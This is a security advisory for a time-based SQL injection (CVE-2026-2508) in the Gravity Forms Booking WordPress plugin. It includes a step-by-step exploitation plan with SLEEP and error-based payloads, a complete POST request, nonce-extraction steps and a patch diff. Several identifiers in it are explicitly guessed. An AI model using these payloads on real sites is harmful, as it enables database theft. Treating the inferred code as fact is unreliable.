Gravity Forms Booking <= 2.7.1 - Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id'
Description
The Gravity Forms Booking plugin for WordPress is vulnerable to time-based SQL Injection via the ‘staff_id’ parameter in all versions up to, and including, 2.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.7.1This exploitation research plan targets **CVE-2026-2508**, a time-based SQL injection vulnerability in the **Gravity Forms Booking** plugin (slug: `gf-bookings-premium`). ### 1. Vulnerability Summary The vulnerability exists in versions up to and including 2.7.1 of the Gravity Forms Booking plugin.…
Show full research plan
This exploitation research plan targets CVE-2026-2508, a time-based SQL injection vulnerability in the Gravity Forms Booking plugin (slug: gf-bookings-premium).
1. Vulnerability Summary
The vulnerability exists in versions up to and including 2.7.1 of the Gravity Forms Booking plugin. The staff_id parameter, used in an AJAX-driven database query, is neither properly sanitized nor passed through $wpdb->prepare(). Because the query result is typically not directly reflected in the response (often used for internal logic or simple boolean checks), it is exploitable via time-based blind SQL injection. Authenticated users with at least Subscriber-level permissions can execute arbitrary SQL commands to extract sensitive information from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
gf_bookings_get_staff_details(inferred) orgfb_get_staff(inferred).- Note: The exact action must be confirmed by grepping the source for
wp_ajax_hooks.
- Note: The exact action must be confirmed by grepping the source for
- Vulnerable Parameter:
staff_id - Authentication Required: Yes (Subscriber or higher).
- Payload Type: Time-based Blind SQLi (e.g.,
SLEEP()). - Preconditions: The attacker must be logged in as a Subscriber and possess a valid security nonce if the handler enforces one.
3. Code Flow
- Entry Point: The plugin registers an AJAX handler for authenticated users:
add_action( 'wp_ajax_gf_bookings_get_staff_details', 'handle_get_staff_details' );(inferred identifiers). - Input Acquisition: The handler function (e.g.,
handle_get_staff_details) retrieves thestaff_idfrom the$_POSTor$_REQUESTsuperglobal. - Vulnerable Sink: The code constructs a SQL query by direct concatenation:
$wpdb->get_results( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = " . $_POST['staff_id'] ); - Lack of Neutralization: Because
staff_idis concatenated withoutabsint(),intval(), or$wpdb->prepare(), an attacker can append SQL logic.
4. Nonce Acquisition Strategy
If the handler calls check_ajax_referer() or wp_verify_nonce(), the exploit must include a valid nonce.
- Identify the Script/Shortcode: Find where the plugin enqueues its booking JS. Typically, this occurs on pages containing the Gravity Forms booking form.
- Setup Test Page: Create a page containing the relevant shortcode:
wp post create --post_type=page --post_status=publish --post_content='[gravityform id="1" action="booking"]'(inferred shortcode). - Navigate and Extract:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto extract the nonce from the localized script object. - Inferred JS Variable:
window.gf_bookings_vars?.nonceorwindow.gfb_data?.nonce. - Action: Run
grep -r "wp_localize_script" .to find the exact object name and key.
- Use
5. Exploitation Strategy
The exploit will use the http_request tool to send a POST request to admin-ajax.php with a SLEEP() payload.
Step 1: Discover Exact Action
grep -r "wp_ajax_" wp-content/plugins/gf-bookings-premium/ | grep "staff"
Step 2: Authenticated Payload Construction
- Base Payload:
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - URL Encoded Payload:
1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)
Step 3: Execution via http_request
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "[SUBSCRIBER_COOKIES]"
},
"body": "action=[ACTION_NAME]&nonce=[NONCE]&staff_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)"
}
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Configure Plugin: Ensure at least one "Staff" member exists in the plugin's settings so the base query has a target.
wp db query "INSERT INTO wp_gf_bookings_staff (name) VALUES ('Test Staff');"(inferred table name). - Form Creation: Create a Gravity Form that utilizes the Booking field to ensure all nonces and scripts are generated.
7. Expected Results
- Normal Request: If
staff_id=1is sent, the server should respond in < 500ms. - Malicious Request: If the SQLi is successful, the server response will be delayed by exactly 5 seconds (the
SLEEPduration). - Response Body: Likely a JSON success/error message or a
0, which is irrelevant for time-based attacks.
8. Verification Steps
After confirming the time delay, verify data extraction capability by checking if a specific condition causes a delay:
- Test for DB User Length:
staff_id=1 AND IF(LENGTH(USER())=14, SLEEP(5), 0) - Verify via WP-CLI: Confirm the database user length matches your finding.
wp db query "SELECT LENGTH(USER());"
9. Alternative Approaches
- Boolean-Based: If the response differs when the
staff_idquery returns results vs. no results (e.g.,{"success":true}vs{"success":false}), shift to boolean-based injection for much faster data extraction. - Error-Based: If
WP_DEBUGis enabled, try inducing a syntax error to see if$wpdb->last_erroris leaked in the response:staff_id=1' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,DATABASE(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
Summary
The Gravity Forms Booking plugin for WordPress is vulnerable to time-based SQL Injection via the 'staff_id' parameter in AJAX handlers due to insufficient input sanitization and lack of SQL query preparation. Authenticated attackers with Subscriber-level access can exploit this to extract sensitive information from the site's database by appending arbitrary SQL logic to existing queries.
Vulnerable Code
// Inferred from research plan based on vulnerable sink analysis $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = " . $_POST['staff_id'] );
Security Fix
@@ -1,1 +1,1 @@ -$wpdb->get_results( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = " . $_POST['staff_id'] ); +$wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = %d", $_POST['staff_id'] ) );
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate as a Subscriber or higher and obtain a valid security nonce (if required), which is typically found within the localized JavaScript variables on pages where the booking form is rendered. The attacker then sends an authenticated POST request to the WordPress AJAX endpoint (admin-ajax.php) targeting the staff retrieval action. By supplying a time-based SQL payload such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' in the 'staff_id' parameter, the attacker can confirm the vulnerability and extract data through the resulting delay in server response time.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.